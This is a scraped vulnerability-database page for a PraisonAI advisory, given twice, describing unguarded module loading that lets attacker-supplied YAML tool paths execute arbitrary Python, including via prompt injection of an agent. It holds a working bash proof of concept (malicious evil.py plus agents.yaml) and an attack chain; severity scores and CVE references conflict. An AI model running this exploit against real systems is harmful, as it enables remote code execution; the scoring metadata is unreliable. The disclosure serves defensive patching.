CVE

CVE-2026-64824

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

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CVE

CVE-2026-64824

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.execmodule</code> in <code>agentsgenerator.py</code> (v4.6.32 chokepoint refactor bypass)</h2>

<h3>Summary</h3>

<p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAIALLOWLOCALTOOLS</code> env-var gate to the <code>tooloverride.py</code> sinks. However, <strong>two additional <code>spec.loader.execmodule</code> call sites</strong> in <code>praisonai/agentsgenerator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p>

<h3>Patch lineage</h3>

CVE | GHSA | Fixed in | What was patched

-- | -- | -- | --

CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py

CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py

CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py

This finding | — | unfixed | Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p>

<h3>Vulnerable code</h3>

<pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def loadtoolsfrommodule(self, modulepath):

# ...

349 spec = importlib.util.specfromfilelocation("toolsmodule", module_path)

350 module = importlib.util.modulefromspec(spec)

351 spec.loader.exec_module(module) # ← NO gate

372 def loadtoolsfrommoduleclass(self, module_path):

# ... (same pattern — specfromfilelocation → execmodule, no gate)

</code></pre>

<p>Neither function checks <code>PRAISONAIALLOWLOCALTOOLS</code>. Neither validates <code>modulepath</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p>

<ol>

<li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li>

<li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allowanygithub=True</code>).</li>

<li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li>

</ol>

<h3>Attack chain (recipe vector)</h3>

<pre><code>HTTP POST /v1/recipes/run

body: {"recipe": "github:<attacker>/<repo>/<recipe>"}

│

▼

Recipe fetched → agents.yaml contains:

tools:

- module_path: ./evil.py # colocated in recipe dir

│

▼

AgentsGenerator.loadtoolsfrom_module("./evil.py")

│

▼

agentsgenerator.py:349 spec = specfromfilelocation("tools_module", "./evil.py")

agentsgenerator.py:351 spec.loader.execmodule(module) ← RCE

</code></pre>

<p>No <code>PRAISONAIALLOWLOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p>

<pre><code class="language-bash">#!/usr/bin/env bash

Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)

set -euo pipefail

WORKDIR=$(mktemp -d)

trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF'

import os, sys, tempfile, time

marker = os.path.join(tempfile.gettempdir(),

f"praisonaiagentsgenpwn{int(time.time())}.txt")

with open(marker, "w") as f:

f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")

print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():

"""Placeholder so tool scan finds something."""

pass

PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'

framework: praisonai

topic: "PoC — agentsgenerator execmodule bypass"

roles:

poc_agent:

role: PoC

goal: Trigger loadtoolsfrom_module

backstory: n/a

tools:

- evil.py

YAMLEOF

3. Run

cd "$WORKDIR"

python -c "

from praisonai import PraisonAI

try:

ai = PraisonAI(agent_file='agents.yaml')

ai.main()

except Exception:

pass # downstream failure expected; exec_module already fired

4. Verify

MARKER=$(ls /tmp/praisonaiagentsgenpwn*.txt 2>/dev/null | tail -1)

if [ -n "$MARKER" ]; then

echo "SUCCESS — marker file written by server process:"

cat "$MARKER"

else

echo "FAIL — marker not found"

exit 1

</code></pre>

<h3>Impact</h3>

<p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p>

<h3>Severity</h3>

<p>When combined with the recipe server's default no-auth posture and <code>allowanygithub=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p>

<p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p>

<ul>

<li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li>

<li>CWE-426: Untrusted Search Path</li>

<li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li>

</ul>

<h3>Affected versions</h3>

<p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p>

<h3>Suggested fix</h3>

<p>Apply the same <code>PRAISONAIALLOWLOCALTOOLS</code> env-var gate used in <code>toolresolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p>

<pre><code class="language-python">import os

def loadtoolsfrommodule(self, modulepath):

if os.environ.get("PRAISONAIALLOWLOCAL_TOOLS", "").lower() != "true":

return []

# ... existing logic ...

def loadtoolsfrommoduleclass(self, module_path):

if os.environ.get("PRAISONAIALLOWLOCAL_TOOLS", "").lower() != "true":

return []

# ... existing logic ...

</code></pre>

<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p>

<h3>Credit</h3>

<p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAIALLOWLOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

| --- | --- | --- | --- |

| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py |

| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py |

| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py |

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

## praisonai/agents_generator.py  (master HEAD; v4.6.37)
336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate
372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAIALLOWLOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allowanygithub=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAIALLOWLOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
## Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
## 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF
## 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF
## 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"
## 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allowanygithub=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAIALLOWLOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os
def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...
def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

Package Versions Affected

No items found.

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Fix Without Upgrading

Detect compatible fix

Apply safe remediation

Fix with a single pull request

CVSS Version

9.3

4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

3.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299, https://github.com/MervinPraison/PraisonAI, https://pypi.org/project/praisonai, https://github.com/advisories/GHSA-78r8-wwqv-r299, https://nvd.nist.gov/vuln/detail/CVE-2026-47398

Severity

8.1

CVSS Score

Basic Information

Base CVSS

8.1

EPSS Probability

0.00797%

EPSS Percentile

0.5368%

Introduced Version

Fix Available

4.6.40

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.

Fix Without Upgrading

Get a Demo

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CVE-2026-64824

CVE-2026-64824

Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37)

1. Malicious module

2. agents.yaml that references it

3. Run

4. Verify

TL;DR

Patch lineage

Vulnerable code

Attack chain (recipe vector)

PoC

Impact

Severity

CWE

Affected versions

Suggested fix

Credit

Package Versions Affected

Automatically patch vulnerabilities without upgrading

CVSS Version

Related Resources

References

Severity

8.1

Basic Information

Fix Critical Vulnerabilities Instantly

Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)